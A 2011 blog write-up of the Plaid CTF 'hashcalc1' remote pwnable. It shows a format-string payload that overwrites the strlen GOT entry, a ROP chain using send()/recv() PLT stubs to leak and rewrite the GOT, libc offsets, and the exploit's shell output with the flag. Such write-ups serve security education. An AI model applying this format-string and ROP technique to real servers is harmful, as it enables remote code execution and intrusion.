Monday, April 25, 2011

Plaid CTF 2011 Hashcalc1 Writeup

This challenge is remote pwnable. I spent a lot of time to solve it. But I learned something new (worth to waste time on it). Here is some binary info.

$ --file hashcalc1
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        Canary found      NX enabled    No PIE                  hashcalc1

Reversing the binary... it is classic accept() and fork() server. After the connection established, the server send() welcome message, do recv() the data, log to file, calculate hash, then send the hash back to client. The log to file step has a format string problem. The C code should look like this.

recv(sock_fd, buffer, 0x3ff, 0);
// ...
fprintf(log_fp, buffer);

Note: after receiving data from client, the server converts all '\n' (0x0a) to NULL (0x00). So 0x0a is bad char. But 0x00 is good char.

The format string bug is obviously allow us to write any value in arbitrary address. The common place is GOT entry. I found strlen() function is used after fprintf() function (in calculating hash function). So strlen GOT entry is my target.

$ objdump -R hashcalc1 | grep strlen
0804a41c R_386_JUMP_SLOT   strlen

The address to be overwritten is 0x0804a41c. But the problem is what value I have to write. I tried to do connect back with ROP (but not brute forcing). No luck, I cannot find the gadgets to do what I want :(.

After a few hour past, I noticed the socket fd is known. In accept() loop, the server process always call close() before do accept() again. So it always be 5 because 3 is server fd and 4 is log fd.

With known socket fd, we can do ROP to make server send and receive additional data to arbitrary address. We can jump (not call) to recv() or send() by using plt functions. So the fixed addresses of recv() and send() are

$ objdump -d hashcalc1 | grep '@plt>:' | grep -e recv -e send
08048844 <recv@plt>:
08048994 <send@plt>:

Normally, to calling the libc functions without brute forcing when ASLR is enabled, we need to use the resolved function in GOT entry then add it with the offset. With send(), we can make program send the whole GOT section to us. Then we can modified any GOT entries and send the modified table back with recv().

First, I planned to modified GOT entries to have mprotect() and other functions to be able to put the shell code. But I remembered that reverse shell is just connect back with new socket, then dup2() and execve("/bin/sh"). We do not need to use shell code. Just call dup2() and execve("/bin/sh"). And of course we can use some area of GOT section to put "/bin/sh" string.

Now, coding time. First the format string bug, I need to move the esp to the controlled stack area. I found this gadget

0x8049106L: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ;;

Format string to overwrite the strlen GOT entry is

got_strlen_addr = 0x0804a41c
payload_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) + "%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"

Then, do send() and recv()

# 0x8048c1aL: add esp 0xc ; pop ebx ; pop ebp ;;
# send GOT table to me
payload += pack("<I", plt_send_addr) + pack("<I", 0x8048c1a) + pack("<I", sock_fd) + pack("<I", got_plt_section) + pack("<I", got_plt_section_size) + pack("<I", 0) + "JUNK"
# recv GOT table from me
payload += pack("<I", plt_recv_addr) + pack("<I", 0x8048c1a) + pack("<I", sock_fd) + pack("<I", got_plt_section) + pack("<I", got_plt_section_size) + pack("<I", 0) + "JUNK"

Then, do dup2() and execve() with similar method. I do not show here.

Another important part is finding function offset in libc. I used Ubuntu but when looking in the binary with objdump

$ objdump -s -j .comment hashcalc1

hashcalc1:     file format elf32-i386

Contents of section .comment:
 0000 4743433a 20284465 6269616e 20342e34  GCC: (Debian 4.4
 0010 2e352d38 2920342e 342e3500 4743433a  .5-8) 4.4.5.GCC:
 0020 20284465 6269616e 20342e34 2e352d31   (Debian 4.4.5-1
 0030 30292034 2e342e35 00                 0) 4.4.5.

The binary is compiled on Debian 6. So I tried to overwrite the functions that near dup2() and execve() and hope the offset are same. Even the offset is different, I still can do little brute forcing to get the offset (can send some data back if offset is correct). But it's no need for this challenge because the server that ran this binary is same as we could login to do local pwnable challenges.

$ objdump -T | grep -w -e setreuid -e dup2
000c4b50  w   DF .text  00000076  GLIBC_2.0   setreuid
000bd760  w   DF .text  0000003d  GLIBC_2.0   dup2
$ objdump -T | grep -w -e fork -e execve
00097550  w   DF .text  000002b0  GLIBC_2.0   fork
00097870  w   DF .text  00000053  GLIBC_2.0   execve

Here is my exploit

$ python
** Welcome to the online hash calculator **
payload len: 164
got GOT table: 156
uid=1009(hashcalc1) gid=1010(hashcalc1) groups=1010(hashcalc1),0(root)


Key: th3_0tH3r_DJB

No comments:

Post a Comment